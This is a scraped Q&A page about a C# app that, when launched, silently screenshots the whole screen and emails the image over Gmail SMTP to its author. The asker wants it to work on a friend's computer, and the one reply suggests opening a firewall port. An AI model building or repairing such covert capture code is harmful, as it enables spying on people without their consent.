简体   繁体   中英

C# SMTP Mail sending failed on othercomputer

I had an app which sends mail when being run. When I run this app on my computer the email sending operation successfuly completed ( I run it on both visual studio and as .exe) and I receive the mail ,but when I send my app to my friend as an .exe app (both version got tried "published" and "debug folder") and he runs, no mail sent and received. Here is my code;

public partial class Form1 : Form
{

    public static String path = "C:\\Screenshot123.jpeg";


    public Form1()
    {
        InitializeComponent();
        Screenshot();
        sendMail();
    }

    private static Bitmap Screenshot()
    {
        Bitmap Screenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics GFX = Graphics.FromImage(Screenshot);
        GFX.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size);
        Screenshot.Save(path);
        return Screenshot;
    }

    private static void sendMail()
    {
        MailMessage ePosta = new MailMessage();
        ePosta.From = new MailAddress("mymail@gmail.com"); // sender and reciver are same
        ePosta.To.Add("mymail@gmail.com");
        ePosta.Attachments.Add(new Attachment(path));
        SmtpClient smtp = new SmtpClient();
        smtp.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
        smtp.Port = 25;
        smtp.Host = "smtp.gmail.com";
        smtp.EnableSsl = true;
        smtp.SendAsync(ePosta, (object)ePosta);
    }


}

maybe Firewall is open. you can do it. Windows Firewall->Advanced Settings->OutBound Rules-> New Rule Add 25 port

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM